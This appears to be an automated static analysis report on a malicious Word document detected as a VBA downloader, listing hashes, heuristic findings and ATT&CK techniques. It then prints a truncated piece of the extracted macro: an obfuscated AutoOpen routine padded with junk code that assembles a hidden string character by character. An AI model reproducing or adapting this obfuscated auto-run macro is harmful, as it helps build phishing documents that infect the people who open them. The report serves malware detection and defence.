Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c115754da3e219c…

MALICIOUS

Office (OLE)

271.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 933c3497455a9b02aa24be4cf440c41b SHA-1: 042a53a7f6c4bdd7623c6bda2eb9c8fd5c833d15 SHA-256: 1c115754da3e219c58ce233ccdf3f69275d5040d5a24c580c6a6a86429ef11a5
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The heuristic firings indicate the presence of VBA macros and an AutoOpen execution, strongly suggesting a downloader. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 83936 bytes
SHA-256: cf5083c7e7c86397fa9f289ab849495548837be87880c0e5147535ea55cd271a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub gUidInURyWEkXuROGuwy()
fawAtorYsIc = Val("97421.1") & "iyfIKuiYTAVOPub"
Dim nYiyZygyKOcY
nYiyZygyKOcY = Log(3)

nYiyZygyKOcY = nYiyZygyKOcY + Log(13)
RARaKaDikQONoauXOzaVo = Val("99589.9") & "kABATaCYJErAzeHobST"

Debug.Print "SOnUsHyNaNydMYRGE"
Dim zaDAgIQUTxIDIfYZ
zaDAgIQUTxIDIfYZ = Rnd(138)
If zaDAgIQUTxIDIfYZ > 75034 Then
   zaDAgIQUTxIDIfYZ = Exp(8)
End If

End Sub
Sub AutoOpen()
On Error Resume Next
GsIdapynyC = 28445
kuQuqXOaiHUbipOhYF = 67081
Dim dOtebEMoMEJAVUciDIb
dOtebEMoMEJAVUciDIb = Log(7)

Dim JUXDIwYFysYXUDEpAxuen
For JUXDIwYFysYXUDEpAxuen = 4 To 12
   Dim KOQubocOWyma
   KOQubocOWyma = Fix(90357)
Next
Debug.Print "dvEXiBYcajheNEhaheQOn"
dOtebEMoMEJAVUciDIb = dOtebEMoMEJAVUciDIb + Log(11)

Debug.Print "nIborediGyWIa"
Debug.Print "QFoNihERAdUX"
HYgOjOvbIKEG = Val("53448.1") & "iYpIVejIgIeJUsamyCACOZ"

BisItAweNiQodYJ = InStr("VepUjIgosoFesE", "VepUjIgosoFesEVepUjIgosoFesE")
Dim ryaAbsALuCEpui
hYzOTEhYxohUaUrUwOC = Val("81824.8") & "VuLoVoryMYt"
Debug.Print "WalObOWEgOlXOdUxer"
For ryaAbsALuCEpui = 7 To 12
FASNwIbUvutYzEWixYKen = 22281
   Dim LaCuqivyKYCOKONUpy
Debug.Print "qmOdEHokUByxISazaz"
lVYtGUKaZyHEaAKOrak = InStr("KuCOqeGUMMYja", "KuCOqeGUMMYjaKuCOqeGUMMYja")
   LaCuqivyKYCOKONUpy = Fix(88056)
Dim ZEkOcNAQvIzexId
For ZEkOcNAQvIzexId = 4 To 10
   Dim QUAROMEduP
   QUAROMEduP = Fix(79835)
Next
uQAmaWEujodaToWik = 69094
Next
JFYVMEiUpihutUsyKY = ""

Dim riGzYTUfeDp
riGzYTUfeDp = Rnd(105)
If riGzYTUfeDp > 92729 Then
   riGzYTUfeDp = Exp(5)
End If
Dim pAWAPukIquYkoX
pAWAPukIquYkoX = Rnd(1310)
If pAWAPukIquYkoX > 68809 Then
   pAWAPukIquYkoX = Exp(10)
End If
Dim HowERisOrELaB
TixoxcElubiciBYvECOCuq = InStr("xTGOhexac", "xTGOhexacxTGOhexac")
HowERisOrELaB = Rnd(136)
If HowERisOrELaB > 21282 Then
   HowERisOrELaB = Exp(6)
Dim MapehECUzFaRoguBuhEhub
MapehECUzFaRoguBuhEhub = Log(1)

MapehECUzFaRoguBuhEhub = MapehECUzFaRoguBuhEhub + Log(13)
End If

BaKOgAFAKX = Val("33829.1") & "bynUZeqoLaRARIH"
 JFYVMEiUpihutUsyKY = JFYVMEiUpihutUsyKY + IIf((133 + 266) = 399, "s", "Ag")
Debug.Print "NojaDUrEKIwySU"
WaDeDifaBuRiXMexolyZE = Val("75147.1") & "kozyvInALuTawU"

Debug.Print "NytoHIryHyCozUsOsEFuq"
Dim eHqqTIm
For eHqqTIm = 4 To 10
   Dim zUByQIcWYzoqOPi
   zUByQIcWYzoqOPi = Fix(78549)
Next
Dim ZujufeyPAPyioCyz
ZujufeyPAPyioCyz = Rnd(125)
If ZujufeyPAPyioCyz > 97029 Then
Dim YDuqOBoBAsEBiv
YDuqOBoBAsEBiv = Rnd(138)
If YDuqOBoBAsEBiv > 63028 Then
   YDuqOBoBAsEBiv = Exp(8)
End If
Debug.Print "pYkeKIRESigY"
   ZujufeyPAPyioCyz = Exp(5)
End If
JFYVMEiUpihutUsyKY = JFYVMEiUpihutUsyKY + IIf((153 + 306) = 459, "c", "gHEjd")
Debug.Print "zuLANoHineHOXaD"
Debug.Print "lYfYMaayxyji"
Dim fUjyZujIWapUcaoXakzra
For fUjyZujIWapUcaoXakzra = 6 To 11
   Dim huzalUwEhysERageSUsAWoM
   huzalUwEhysERageSUsAWoM = Fix(89751)
Next
Debug.Print "xiCiLiCyDykOSIdot"

KUNoKIsekAhAuvInOboj = Val("6090.3") & "RYcudAlATQI"
JFYVMEiUpihutUsyKY = JFYVMEiUpihutUsyKY + IIf((135 + 270) = 405, "r", "4ElQ4")
Dim jYKeaOauCoF
jYKeaOauCoF = Log(2)

jYKeaOauCoF = jYKeaOauCoF + Log(13)
Dim iAiovYFyFiKo
For iAiovYFyFiKo = 4 To 12
   Dim BaJYCAZAkavaiy
   BaJYCAZAkavaiy = Fix(12755)
Next

Dim MokADykoHIPoViaOby
MokADykoHIPoViaOby = Rnd(104)
If MokADykoHIPoViaOby > 63586 Then
   MokADykoHIPoViaOby = Exp(4)
End If
fyGYzEgeRuqiX = Val("86115.3") & "xinoGamuZTYLYGAbYwiq"
JFYVMEiUpihutUsyKY = JFYVMEiUpihutUsyKY + IIf((288 + 576) = 864, "i", "mD")
Dim ZunupycuTUwYZ
ZunupycuTUwYZ = Log(8)
Dim MlOxYNeCYvYru
MlOxYNeCYvYru = Rnd(115)
If MlOxYNeCYvYru > 71124 Then
   MlOxYNeCYvYru = Exp(5)
End If

Dim VaKeBygucUtARyn
VaKeBygucUtARyn = Rnd(129)
If VaKeBygucUtARyn > 34233 Then
   VaKeBygucUtARyn = Exp(9)
End If
ZunupycuTUwYZ = ZunupycuTUwYZ + Log
... (truncated)

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